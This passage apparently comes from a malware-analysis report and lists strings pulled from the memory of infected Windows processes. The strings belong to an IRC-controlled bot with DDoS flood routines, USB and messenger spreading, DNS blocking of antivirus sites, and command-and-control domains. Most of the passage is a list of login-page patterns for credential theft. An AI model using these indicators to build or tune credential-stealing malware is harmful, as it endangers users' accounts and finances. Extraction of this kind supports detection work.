s="%d bytes"] Updated bot file "%S" - Download retries: %d</pre><pre>[d="%s" s="%d bytes"] Executed file "%S" - Download retries: %d</pre><pre>[Slowloris]: Starting flood on "%s" for %d minute(s)</pre><pre>[Slowloris]: Finished flood on "%s"</pre><pre>[UDP]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[UDP]: Finished flood on "%s:%d"</pre><pre>[SYN]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[SYN]: Finished flood on "%s:%d"</pre><pre>[USB]: Infected %s</pre><pre>[MSN]: Updated MSN spread message to "%s"</pre><pre>[MSN]: Updated MSN spread interval to "%s"</pre><pre>[HTTP]: Updated HTTP spread message to "%s"</pre><pre>[HTTP]: Injected value is now %s.</pre><pre>[HTTP]: Updated HTTP spread interval to "%s"</pre><pre>[Visit]: Visited "%s"</pre><pre>[DNS]: Blocked "%s"</pre><pre>[usb="%d" msn="%d" http="%d" total="%d"]</pre><pre>[ftp="%d" pop="%d" http="%d" total="%d"]</pre><pre>[RSOCK4]: Started rsock4 on "%s:%d"</pre><pre>[d="%s" s="%d bytes"] Update error: MD5 mismatch (%s != %s)</pre><pre>[d="%s"] Error downloading file [e="%d"]</pre><pre>[d="%s"] Error writing download to "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] Error creating process "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] File "%S" has an invalid binary type. [type="%d"]</pre><pre>[d="%s"] Error getting temporary filename. [e="%d"]</pre><pre>[d='%s"] Error getting application data path [e="%d"]</pre><pre>[Visit]: Error visitng "%s"</pre><pre>[FTP Login]: %s</pre><pre>[POP3 Login]: %s</pre><pre>[FTP Infect]: %s was iframed</pre><pre>[HTTP Login]: %s</pre><pre>[HTTP Traffic]: %s</pre><pre>[Ruskill]: Detected File: "%s"</pre><pre>[Ruskill]: Detected DNS: "%s"</pre><pre>[Ruskill]: Detected Reg: "%s"</pre><pre>[PDef ]: %s</pre><pre>[DNS]: Blocked DNS "%s"</pre><pre>[MSN]: %s</pre><pre>[HTTP]: %s</pre><pre>ftplog</pre><pre>ftpinfect</pre><pre>httplogin</pre><pre>httptraff</pre><pre>httpspread</pre><pre>http://api.wipmania.com/</pre><pre>\\.\pipe\x_ipc</pre><pre>\\.\pipe\c1419a97</pre><pre>%System%\spoolsv.exe</pre><pre>%WinDir%</pre><pre>%Documents and Settings%\%current user%\Application Data\Identities\Uukmkg.exe</pre><pre>7 767<7~7</pre><pre>8*808;8~8</pre><pre>%s\Identities\%s.exe</pre><pre>\\.\pipe</pre><pre>autorun.inf</pre><pre>pidgin.exe</pre><pre>wlcomm.exe</pre><pre>msnmsgr.exe</pre><pre>msmsgs.exe</pre><pre>flock.exe</pre><pre>opera.exe</pre><pre>chrome.exe</pre><pre>ieuser.exe</pre><pre>iexplore.exe</pre><pre>firefox.exe</pre><pre>.ipconfig.exe</pre><pre>verclsid.exe</pre><pre>regedit.exe</pre><pre>rundll32.exe</pre><pre>cmd.exe</pre><pre>regsvr32.exe</pre><pre>l"%s" %S</pre><pre>lol.exe</pre><pre>n127.0.0.1</pre><pre>%s:Zone.Identifier</pre><pre>wininet.dll</pre><pre>secur32.dll</pre><pre>ws2_32.dll</pre><pre>:%S%S\</pre><pre>winlogon.exe</pre><pre>notepad.exe</pre><pre>Aadvapi32.dll</pre><pre>urlmon.dll</pre><pre>nspr4.dll</pre><pre>Akernel23.dll</pre><pre>y%s\%s.exe</pre><pre>lsass.exe</pre><pre>Software\Microsoft\Windows\CurrentVersion\Policies\System</pre><pre>.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\Device\HarddiskVolume1\WINDOWS\system32\spoolsv.exe</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\ngggg.exe</pre><b>wmiprvse.exe_1524_rwx_00DE0000_0004E000:</b><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.reloc</pre><pre>=MSG t</pre><pre>>MSG u`</pre><pre>=PASS</pre><pre>8httpu1</pre><pre>8httpuM</pre><pre>tlSSSSSSSSSShL0</pre><pre>%s.%s</pre><pre>%s.%S</pre><pre>%s.Blocked "%s" from removing our bot file!</pre><pre>%s.Blocked "%S" from removing our bot file!</pre><pre>i.root-servers.org</pre><pre>%s.Blocked "%s" from moving our bot file</pre><pre>%s.Blocked "%S" from moving our bot file</pre><pre>%s.p10-> Message hijacked!</pre><pre>%s.p10-> Message to %s hijacked!</pre><pre>%s.p21-> Message hijacked!</pre><pre>msnmsg</pre><pre>CAL %d %6s</pre><pre>ngr->blocksize: %d</pre><pre>block_size: %d</pre><pre>\\.\pipe\%s</pre><pre>kernel32.dll</pre><pre>%s_%d</pre><pre>-%sMutex</pre><pre>ntdll.dll</pre><pre>%s-pid</pre><pre>%s-comm</pre><pre>JOIN #</pre><pre>PRIVMSG #</pre><pre>%s.Blocked "%S" from creating "%S"</pre><pre>%s.Blocked "%S" from creating "%S" - "%s" will be removed at reboot!</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d.</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d (Target: %s).</pre><pre>PRIVMSG %5s</pre><pre>JOIN %5s</pre><pre>PRIVMSG</pre><pre>JOIN</pre><pre>%s:%d</pre><pre>%s.%s%s</pre><pre>%S%s%s</pre><pre>%s.%S%S</pre><pre>%S%S%S</pre><pre>state_%s</pre><pre>%s.%s (p='%S')</pre><pre>pop3://%s:%s@%s:%d</pre><pre>%s:%s@%s:%d</pre><pre>ftp://%s:%s@%s:%d</pre><pre>ftpgrab</pre><pre>%s.%s ->> %s (%s : %s)</pre><pre>%s.%s ->> %s : %s</pre><pre>%s-%s-%s</pre><pre>%s.Blocked possible browser exploit pack call on URL '%s'</pre><pre>%s.Blocked possible browser exploit pack call on URL '%S'</pre><pre>webroot.</pre><pre>virusbuster.nprotect.</pre><pre>heck.tc</pre><pre>onecare.live.</pre><pre>login[password]</pre><pre>login[username]</pre><pre>*members*.iknowthatgirl*/members*</pre><pre>*youporn.*/login*</pre><pre>*members.brazzers.com*</pre><pre>*bcointernacional*login*</pre><pre>*:2222/CMD_LOGIN*</pre><pre>*whcms*dologin*</pre><pre>*:2086/login*</pre><pre>*:2083/login*</pre><pre>*:2082/login*</pre><pre>*webnames.ru/*user_login*</pre><pre>Webnames</pre><pre>*dotster.com/*login*</pre><pre>loginid</pre><pre>*enom.com/login*</pre><pre>login.Pass</pre><pre>login.User</pre><pre>*login.Pass=*</pre><pre>*1and1.com/xml/config*</pre><pre>*moniker.com/*Login*</pre><pre>LoginPassword</pre><pre>LoginUserName</pre><pre>*LoginPassword=*</pre><pre>*namecheap.com/*login*</pre><pre>loginname</pre><pre>*godaddy.com/login*</pre><pre>Password</pre><pre>*Password=*</pre><pre>*alertpay.com/login*</pre><pre>*netflix.com/*ogin*</pre><pre>*thepiratebay.org/login*</pre><pre>*torrentleech.org/*login*</pre><pre>*vip-file.com/*/signin-do*</pre><pre>*sms4file.com/*/signin-do*</pre><pre>*letitbit.net*</pre><pre>*what.cd/login*</pre><pre>*oron.com/login*</pre><pre>*filesonic.com/*login*</pre><pre>*speedyshare.com/login*</pre><pre>*uploaded.to/*login*</pre><pre>*uploading.com/*login*</pre><pre>loginUserPassword</pre><pre>loginUserName</pre><pre>*loginUserPassword=*</pre><pre>*fileserv.com/login*</pre><pre>*hotfile.com/login*</pre><pre>*4shared.com/login*</pre><pre>txtpass</pre><pre>*txtpass=*</pre><pre>*netload.in/index*</pre><pre>*freakshare.com/login*</pre><pre>login_pass</pre><pre>*login_pass=*</pre><pre>*mediafire.com/*login*</pre><pre>*sendspace.com/login*</pre><pre>*megaupload.*/*login*</pre><pre>*depositfiles.*/*/login*</pre><pre>*signin.ebay*SignIn</pre><pre>*officebanking.cl/*login.asp*</pre><pre>*secure.logmein.*/*logincheck*</pre><pre>session[password]</pre><pre>*password]=*</pre><pre>*twitter.com/sessions</pre><pre>txtPassword</pre><pre>*&txtPassword=*</pre><pre>*.moneybookers.*/*login.pl</pre><pre>*runescape*/*weblogin*</pre><pre>*&password=*</pre><pre>*no-ip*/login*</pre><pre>*steampowered*/login*</pre><pre>quick_password</pre><pre>*hackforums.*/member.php</pre><pre>*facebook.*/login.php*</pre><pre>*login.yahoo.*/*login*</pre><pre>passwd</pre><pre>login</pre><pre>*passwd=*</pre><pre>*login.live.*/*post.srf*</pre><pre>TextfieldPassword</pre><pre>*TextfieldPassword=*</pre><pre>*gmx.*/*FormLogin*</pre><pre>*Passwd=*</pre><pre>FLN-Password</pre><pre>*FLN-Password=*</pre><pre>*pass=*</pre><pre>*bigstring.*/*index.php*</pre><pre>*screenname.aol.*/login.psp*</pre><pre>password</pre><pre>loginId</pre><pre>*password=*</pre><pre>*aol.*/*login.psp*</pre><pre>Passwd</pre><pre>*google.*/*ServiceLoginAuth*</pre><pre>login_password</pre><pre>login_email</pre><pre>*login_password=*</pre><pre>*paypal.*/webscr?cmd=_login-submit*</pre><pre>%s / ?%d HTTP/1.1</pre><pre>Host: %s</pre><pre>User-Agent: %s</pre><pre>Mozilla/4.0</pre><pre>\\.\PHYSICALDRIVE0</pre><pre>shell32.dll</pre><pre>httpi</pre><pre>dnsapi.dll</pre><pre>http://%s/%s</pre><pre>http://%s/</pre><pre>POST /23s</pre><pre>[%s{%s%s{%s</pre><pre>n%s[%s{%s%s{%s</pre><pre>%s[%s{%s</pre><pre>[DNS]: Redirecting "%s" to "%s"</pre><pre>%s|%s</pre><pre>[Logins]: Cleared %d logins</pre><pre>FTP -></pre><pre>[d="%s" s="%d bytes"] Download error: MD5 mismatch (%s != %s)</pre><pre>http://</pre><pre>[Login]: %s</pre><pre>[DNS]: Blocked %d domain(s) - Redirected %d domain(s)</pre><pre>[Speed]: Estimated upload speed %d KB/s</pre><pre>Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\\.\%c:</pre><pre>*bebo.*/c/profile/comment_post.json</pre><pre>*bebo.*/mail/MailCompose.jsp*</pre><pre>*friendster.*/sendmessage.php*</pre><pre>*friendster.*/rpc.php</pre><pre>*vkontakte.ru/mail.php</pre><pre>*vkontakte.ru/wall.php</pre><pre>*vkontakte.ru/api.php</pre><pre>*facebook.*/ajax/*MessageComposerEndpoint.php*</pre><pre>msg_text</pre><pre>*facebook.*/ajax/chat/send.php*</pre><pre>-_.!~*'()</pre><pre>%s.%s hijacked!</pre><pre>MSG %d %s %d</pre><pre>MSG %d %1s</pre><pre>SDG %d %d</pre><pre>Content-Length: %d</pre><pre>SDG %d</pre><pre>%s_0xX</pre><pre>RegCreateKeyExW</pre><pre>RegCreateKeyExA</pre><pre>URLDownloadToFileW</pre><pre>URLDownloadToFileA</pre><pre>HttpSendRequestW</pre><pre>HttpSendRequestA</pre><pre>NtEnumerateValueKey</pre><pre>DNSAPI.dll</pre><pre>Secur32.dll</pre><pre>ShellExecuteA</pre><pre>SHELL32.dll</pre><pre>HttpQueryInfoA</pre><pre>InternetOpenUrlA</pre><pre>HttpQueryInfoW</pre><pre>WININET.dll</pre><pre>SHLWAPI.dll</pre><pre>WS2_32.dll</pre><pre>MSVCRT.dll</pre><pre>GetProcessHeap</pre><pre>ConnectNamedPipe</pre><pre>CreateNamedPipeA</pre><pre>DisconnectNamedPipe</pre><pre>GetWindowsDirectoryW</pre><pre>GetWindowsDirectoryA</pre><pre>KERNEL32.dll</pre><pre>USER32.dll</pre><pre>RegCloseKey</pre><pre>RegNotifyChangeKeyValue</pre><pre>RegOpenKeyExA</pre><pre>ADVAPI32.dll</pre><pre>ole32.dll</pre><pre>m1xg.org</pre><pre>mxxtxxt.biz</pre><pre>meob.me</pre><pre>]1.1.0.0</pre><pre>msn.set</pre><pre>msn.int</pre><pre>http.set</pre><pre>http.int</pre><pre>http.inj</pre><pre>logins</pre><pre>PASS %s</pre><pre>[.ShellClassInfo]</pre><pre>CLSID={645FF040-5081-101B-9F08-00AA002F954E}</pre><pre>SSRR %s 0 0 :%s</pre><pre>KCIK %s</pre><pre>SEND %s %s</pre><pre>PART %s</pre><pre>PPPPMSG %s :%s</pre><pre>QUIT :%s</pre><pre>PPNG %s</pre><pre>PPPPMSG</pre><pre>[v="%s" c="%s" h="%s" p="%S"]</pre><pre>[d="%s" s="%d bytes"] Updated bot file "%S" - Download retries: %d</pre><pre>[d="%s" s="%d bytes"] Executed file "%S" - Download retries: %d</pre><pre>[Slowloris]: Starting flood on "%s" for %d minute(s)</pre><pre>[Slowloris]: Finished flood on "%s"</pre><pre>[UDP]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[UDP]: Finished flood on "%s:%d"</pre><pre>[SYN]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[SYN]: Finished flood on "%s:%d"</pre><pre>[USB]: Infected %s</pre><pre>[MSN]: Updated MSN spread message to "%s"</pre><pre>[MSN]: Updated MSN spread interval to "%s"</pre><pre>[HTTP]: Updated HTTP spread message to "%s"</pre><pre>[HTTP]: Injected value is now %s.</pre><pre>[HTTP]: Updated HTTP spread interval to "%s"</pre><pre>[Visit]: Visited "%s"</pre><pre>[DNS]: Blocked "%s"</pre><pre>[usb="%d" msn="%d" http="%d" total="%d"]</pre><pre>[ftp="%d" pop="%d" http="%d" total="%d"]</pre><pre>[RSOCK4]: Started rsock4 on "%s:%d"</pre><pre>[d="%s" s="%d bytes"] Update error: MD5 mismatch (%s != %s)</pre><pre>[d="%s"] Error downloading file [e="%d"]</pre><pre>[d="%s"] Error writing download to "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] Error creating process "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] File "%S" has an invalid binary type. [type="%d"]</pre><pre>[d="%s"] Error getting temporary filename. [e="%d"]</pre><pre>[d='%s"] Error getting application data path [e="%d"]</pre><pre>[Visit]: Error visitng "%s"</pre><pre>[FTP Login]: %s</pre><pre>[POP3 Login]: %s</pre><pre>[FTP Infect]: %s was iframed</pre><pre>[HTTP Login]: %s</pre><pre>[HTTP Traffic]: %s</pre><pre>[Ruskill]: Detected File: "%s"</pre><pre>[Ruskill]: Detected DNS: "%s"</pre><pre>[Ruskill]: Detected Reg: "%s"</pre><pre>[PDef ]: %s</pre><pre>[DNS]: Blocked DNS "%s"</pre><pre>[MSN]: %s</pre><pre>[HTTP]: %s</pre><pre>ftplog</pre><pre>ftpinfect</pre><pre>httplogin</pre><pre>httptraff</pre><pre>httpspread</pre><pre>http://api.wipmania.com/</pre><pre>\\.\pipe\x_ipc</pre><pre>\\.\pipe\c1419a97</pre><pre>%System%\wbem\wmiprvse.exe</pre><pre>%WinDir%</pre><pre>%Documents and Settings%\%current user%\Application Data\Identities\Uukmkg.exe</pre><pre>7 767<7~7</pre><pre>8*808;8~8</pre><pre>%s\Identities\%s.exe</pre><pre>\\.\pipe</pre><pre>autorun.inf</pre><pre>pidgin.exe</pre><pre>wlcomm.exe</pre><pre>msnmsgr.exe</pre><pre>msmsgs.exe</pre><pre>flock.exe</pre><pre>opera.exe</pre><pre>chrome.exe</pre><pre>ieuser.exe</pre><pre>iexplore.exe</pre><pre>firefox.exe</pre><pre>.ipconfig.exe</pre><pre>verclsid.exe</pre><pre>regedit.exe</pre><pre>rundll32.exe</pre><pre>cmd.exe</pre><pre>regsvr32.exe</pre><pre>l"%s" %S</pre><pre>lol.exe</pre><pre>n127.0.0.1</pre><pre>%s:Zone.Identifier</pre><pre>wininet.dll</pre><pre>secur32.dll</pre><pre>ws2_32.dll</pre><pre>:%S%S\</pre><pre>winlogon.exe</pre><pre>notepad.exe</pre><pre>Aadvapi32.dll</pre><pre>urlmon.dll</pre><pre>nspr4.dll</pre><pre>Akernel23.dll</pre><pre>y%s\%s.exe</pre><pre>lsass.exe</pre><pre>Software\Microsoft\Windows\CurrentVersion\Policies\System</pre><pre>.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\Device\HarddiskVolume1\WINDOWS\system32\wbem\wmiprvse.exe</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\ngggg.exe</pre><b>jqs.exe_1592_rwx_010C0000_0004E000:</b><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.reloc</pre><pre>=MSG t</pre><pre>>MSG u`</pre><pre>=PASS</pre><pre>8httpu1</pre><pre>8httpuM</pre><pre>tlSSSSSSSSSShL0</pre><pre>%s.%s</pre><pre>%s.%S</pre><pre>%s.Blocked "%s" from removing our bot file!</pre><pre>%s.Blocked "%S" from removing our bot file!</pre><pre>i.root-servers.org</pre><pre>%s.Blocked "%s" from moving our bot file</pre><pre>%s.Blocked "%S" from moving our bot file</pre><pre>%s.p10-> Message hijacked!</pre><pre>%s.p10-> Message to %s hijacked!</pre><pre>%s.p21-> Message hijacked!</pre><pre>msnmsg</pre><pre>CAL %d %6s</pre><pre>ngr->blocksize: %d</pre><pre>block_size: %d</pre><pre>\\.\pipe\%s</pre><pre>kernel32.dll</pre><pre>%s_%d</pre><pre>-%sMutex</pre><pre>ntdll.dll</pre><pre>%s-pid</pre><pre>%s-comm</pre><pre>JOIN #</pre><pre>PRIVMSG #</pre><pre>%s.Blocked "%S" from creating "%S"</pre><pre>%s.Blocked "%S" from creating "%S" - "%s" will be removed at reboot!</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d.</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d (Target: %s).</pre><pre>PRIVMSG %5s</pre><pre>JOIN %5s</pre><pre>PRIVMSG</pre><pre>JOIN</pre><pre>%s:%d</pre><pre>%s.%s%s</pre><pre>%S%s%s</pre><pre>%s.%S%S</pre><pre>%S%S%S</pre><pre>state_%s</pre><pre>%s.%s (p='%S')</pre><pre>pop3://%s:%s@%s:%d</pre><pre>%s:%s@%s:%d</pre><pre>ftp://%s:%s@%s:%d</pre><pre>ftpgrab</pre><pre>%s.%s ->> %s (%s : %s)</pre><pre>%s.%s ->> %s : %s</pre><pre>%s-%s-%s</pre><pre>%s.Blocked possible browser exploit pack call on URL '%s'</pre><pre>%s.Blocked possible browser exploit pack call on URL '%S'</pre><pre>webroot.</pre><pre>virusbuster.nprotect.</pre><pre>heck.tc</pre><pre>onecare.live.</pre><pre>login[password]</pre><pre>login[username]</pre><pre>*members*.iknowthatgirl*/members*</pre><pre>*youporn.*/login*</pre><pre>*members.brazzers.com*</pre><pre>*bcointernacional*login*</pre><pre>*:2222/CMD_LOGIN*</pre><pre>*whcms*dologin*</pre><pre>*:2086/login*</pre><pre>*:2083/login*</pre><pre>*:2082/login*</pre><pre>*webnames.ru/*user_login*</pre><pre>Webnames</pre><pre>*dotster.com/*login*</pre><pre>loginid</pre><pre>*enom.com/login*</pre><pre>login.Pass</pre><pre>login.User</pre><pre>*login.Pass=*</pre><pre>*1and1.com/xml/config*</pre><pre>*moniker.com/*Login*</pre><pre>LoginPassword</pre><pre>LoginUserName</pre><pre>*LoginPassword=*</pre><pre>*namecheap.com/*login*</pre><pre>loginname</pre><pre>*godaddy.com/login*</pre><pre>Password</pre><pre>*Password=*</pre><pre>*alertpay.com/login*</pre><pre>*netflix.com/*ogin*</pre><pre>*thepiratebay.org/login*</pre><pre>*torrentleech.org/*login*</pre><pre>*vip-file.com/*/signin-do*</pre><pre>*sms4file.com/*/signin-do*</pre><pre>*letitbit.net*</pre><pre>*what.cd/login*</pre><pre>*oron.com/login*</pre><pre>*filesonic.com/*login*</pre><pre>*speedyshare.com/login*</pre><pre>*uploaded.to/*login*</pre><pre>*uploading.com/*login*</pre><pre>loginUserPassword</pre><pre>loginUserName</pre><pre>*loginUserPassword=*</pre><pre>*fileserv.com/login*</pre><pre>*hotfile.com/login*</pre><pre>*4shared.com/login*</pre><pre>txtpass</pre><pre>*txtpass=*</pre><pre>*netload.in/index*</pre><pre>*freakshare.com/login*</pre><pre>login_pass</pre><pre>*login_pass=*</pre><pre>*mediafire.com/*login*</pre><pre>*sendspace.com/login*</pre><pre>*megaupload.*/*login*</pre><pre>*depositfiles.*/*/login*</pre><pre>*signin.ebay*SignIn</pre><pre>*officebanking.cl/*login.asp*</pre><pre>*secure.logmein.*/*logincheck*</pre><pre>session[password]</pre><pre>*password]=*</pre><pre>*twitter.com/sessions</pre><pre>txtPassword</pre><pre>*&txtPassword=*</pre><pre>*.moneybookers.*/*login.pl</pre><pre>*runescape*/*weblogin*</pre><pre>*&password=*</pre><pre>*no-ip*/login*</pre><pre>*steampowered*/login*</pre><pre>quick_password</pre><pre>*hackforums.*/member.php</pre><pre>*facebook.*/login.php*</pre><pre>*login.yahoo.*/*login*</pre><pre>passwd</pre><pre>login</pre><pre>*passwd=*</pre><pre>*login.live.*/*post.srf*</pre><pre>TextfieldPassword</pre><pre>*TextfieldPassword=*</pre><pre>*gmx.*/*FormLogin*</pre><pre>*Passwd=*</pre><pre>FLN-Password</pre><pre>*FLN-Password=*</pre><pre>*pass=*</pre><pre>*bigstring.*/*index.php*</pre><pre>*screenname.aol.*/login.psp*</pre><pre>password</pre><pre>loginId</pre><pre>*password=*</pre><pre>*aol.*/*login.psp*</pre><pre>Passwd</pre><pre>*google.*/*ServiceLoginAuth*</pre><pre>login_password</pre><pre>login_email</pre><pre>*login_password=*</pre><pre>*paypal.*/webscr?cmd=_login-submit*</pre><pre>%s / ?%d HTTP/1.1</pre><pre>Host: %s</pre><pre>User-Agent: %s</pre><pre>Mozilla/4.0</pre><pre>\\.\PHYSICALDRIVE0</pre><pre>shell32.dll</pre><pre>httpi</pre><pre>dnsapi.dll</pre><pre>http://%s/%s</pre><pre>http://%s/</pre><pre>POST /23s</pre><pre>[%s{%s%s{%s</pre><pre>n%s[%s{%s%s{%s</pre><pre>%s[%s{%s</pre><pre>[DNS]: Redirecting "%s" to "%s"</pre><pre>%s|%s</pre><pre>[Logins]: Cleared %d logins</pre><pre>FTP -></pre><pre>[d="%s" s="%d bytes"] Download error: MD5 mismatch (%s != %s)</pre><pre>http://</pre><pre>[Login]: %s</pre><pre>[DNS]: Blocked %d domain(s) - Redirected %d domain(s)</pre><pre>[Speed]: Estimated upload speed %d KB/s</pre><pre>Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\\.\%c:</pre><pre>*bebo.*/c/profile/comment_post.json</pre><pre>*bebo.*/mail/MailCompose.jsp*</pre><pre>*friendster.*/sendmessage.php*</pre><pre>*friendster.*/rpc.php</pre><pre>*vkontakte.ru/mail.php</pre><pre>*vkontakte.ru/wall.php</pre><pre>*vkontakte.ru/api.php</pre><pre>*facebook.*/ajax/*MessageComposerEndpoint.php*</pre><pre>msg_text</pre><pre>*facebook.*/ajax/chat/send.php*</pre><pre>-_.!~*'()</pre><pre>%s.%s hijacked!</pre><pre>MSG %d %s %d</pre><pre>MSG %d %1s</pre><pre>SDG %d %d</pre><pre>Content-Length: %d</pre><pre>SDG %d</pre><pre>%s_0xX</pre><pre>RegCreateKeyExW</pre><pre>RegCreateKeyExA</pre><pre>URLDownloadToFileW</pre><pre>URLDownloadToFileA</pre><pre>HttpSendRequestW</pre><pre>HttpSendRequestA</pre><pre>NtEnumerateValueKey</pre><pre>DNSAPI.dll</pre><pre>Secur32.dll</pre><pre>ShellExecuteA</pre><pre>SHELL32.dll</pre><pre>HttpQueryInfoA</pre><pre>InternetOpenUrlA</pre><pre>HttpQueryInfoW</pre><pre>WININET.dll</pre><pre>SHLWAPI.dll</pre><pre>WS2_32.dll</pre><pre>MSVCRT.dll</pre><pre>GetProcessHeap</pre><pre>ConnectNamedPipe</pre><pre>CreateNamedPipeA</pre><pre>DisconnectNamedPipe</pre><pre>GetWindowsDirectoryW</pre><pre>GetWindowsDirectoryA</pre><pre>KERNEL32.dll</pre><pre>USER32.dll</pre><pre>RegCloseKey</pre><pre>RegNotifyChangeKeyValue</pre><pre>RegOpenKeyExA</pre><pre>ADVAPI32.dll</pre><pre>ole32.dll</pre><pre>m1xg.org</pre><pre>mxxtxxt.biz</pre><pre>meob.me</pre><pre>]1.1.0.0</pre><pre>msn.set</pre><pre>msn.int</pre><pre>http.set</pre><pre>http.int</pre><pre>http.inj</pre><pre>logins</pre><pre>PASS %s</pre><pre>[.ShellClassInfo]</pre><pre>CLSID={645FF040-5081-101B-9F08-00AA002F954E}</pre><pre>SSRR %s 0 0 :%s</pre><pre>KCIK %s</pre><pre>SEND %s %s</pre><pre>PART %s</pre><pre>PPPPMSG %s :%s</pre><pre>QUIT :%s</pre><pre>PPNG %s</pre><pre>PPPPMSG</pre><pre>[v="%s" c="%s" h="%s" p="%S"]</pre><pre>[d="%s" s="%d bytes"] Updated bot file "%S" - Download retries: %d</pre><pre>[d="%s" s="%d bytes"] Executed file "%S" - Download retries: %d</pre><pre>[Slowloris]: Starting flood on "%s" for %d minute(s)</pre><pre>[Slowloris]: Finished flood on "%s"</pre><pre>[UDP]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[UDP]: Finished flood on "%s:%d"</pre><pre>[SYN]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[SYN]: Finished flood on "%s:%d"</pre><pre>[USB]: Infected %s</pre><pre>[MSN]: Updated MSN spread message to "%s"</pre><pre>[MSN]: Updated MSN spread interval to "%s"</pre><pre>[HTTP]: Updated HTTP spread message to "%s"</pre><pre>[HTTP]: Injected value is now %s.</pre><pre>[HTTP]: Updated HTTP spread interval to "%s"</pre><pre>[Visit]: Visited "%s"</pre><pre>[DNS]: Blocked "%s"</pre><pre>[usb="%d" msn="%d" http="%d" total="%d"]</pre><pre>[ftp="%d" pop="%d" http="%d" total="%d"]</pre><pre>[RSOCK4]: Started rsock4 on "%s:%d"</pre><pre>[d="%s" s="%d bytes"] Update error: MD5 mismatch (%s != %s)</pre><pre>[d="%s"] Error downloading file [e="%d"]</pre><pre>[d="%s"] Error writing download to "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] Error creating process "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] File "%S" has an invalid binary type. [type="%d"]</pre><pre>[d="%s"] Error getting temporary filename. [e="%d"]</pre><pre>[d='%s"] Error getting application data path [e="%d"]</pre><pre>[Visit]: Error visitng "%s"</pre><pre>[FTP Login]: %s</pre><pre>[POP3 Login]: %s</pre><pre>[FTP Infect]: %s was iframed</pre><pre>[HTTP Login]: %s</pre><pre>[HTTP Traffic]: %s</pre><pre>[Ruskill]: Detected File: "%s"</pre><pre>[Ruskill]: Detected DNS: "%s"</pre><pre>[Ruskill]: Detected Reg: "%s"</pre><pre>[PDef ]: %s</pre><pre>[DNS]: Blocked DNS "%s"</pre><pre>[MSN]: %s</pre><pre>[HTTP]: %s</pre><pre>ftplog</pre><pre>ftpinfect</pre><pre>httplogin</pre><pre>httptraff</pre><pre>httpspread</pre><pre>http://api.wipmania.com/</pre><pre>\\.\pipe\x_ipc</pre><pre>\\.\pipe\c1419a97</pre><pre>%Program Files%\Java\jre6\bin\jqs.exe</pre><pre>%WinDir%</pre><pre>%Documents and Settings%\%current user%\Application Data\Identities\Uukmkg.exe</pre><pre>7 767<7~7</pre><pre>8*808;8~8</pre><pre>%s\Identities\%s.exe</pre><pre>\\.\pipe</pre><pre>autorun.inf</pre><pre>pidgin.exe</pre><pre>wlcomm.exe</pre><pre>msnmsgr.exe</pre><pre>msmsgs.exe</pre><pre>flock.exe</pre><pre>opera.exe</pre><pre>chrome.exe</pre><pre>ieuser.exe</pre><pre>iexplore.exe</pre><pre>firefox.exe</pre><pre>.ipconfig.exe</pre><pre>verclsid.exe</pre><pre>regedit.exe</pre><pre>rundll32.exe</pre><pre>cmd.exe</pre><pre>regsvr32.exe</pre><pre>l"%s" %S</pre><pre>lol.exe</pre><pre>n127.0.0.1</pre><pre>%s:Zone.Identifier</pre><pre>wininet.dll</pre><pre>secur32.dll</pre><pre>ws2_32.dll</pre><pre>:%S%S\</pre><pre>winlogon.exe</pre><pre>notepad.exe</pre><pre>Aadvapi32.dll</pre><pre>urlmon.dll</pre><pre>nspr4.dll</pre><pre>Akernel23.dll</pre><pre>y%s\%s.exe</pre><pre>lsass.exe</pre><pre>Software\Microsoft\Windows\CurrentVersion\Policies\System</pre><pre>.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\Device\HarddiskVolume1\Program Files\Java\jre6\bin\jqs.exe</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\ngggg.exe</pre></pre></pre></pre></pre>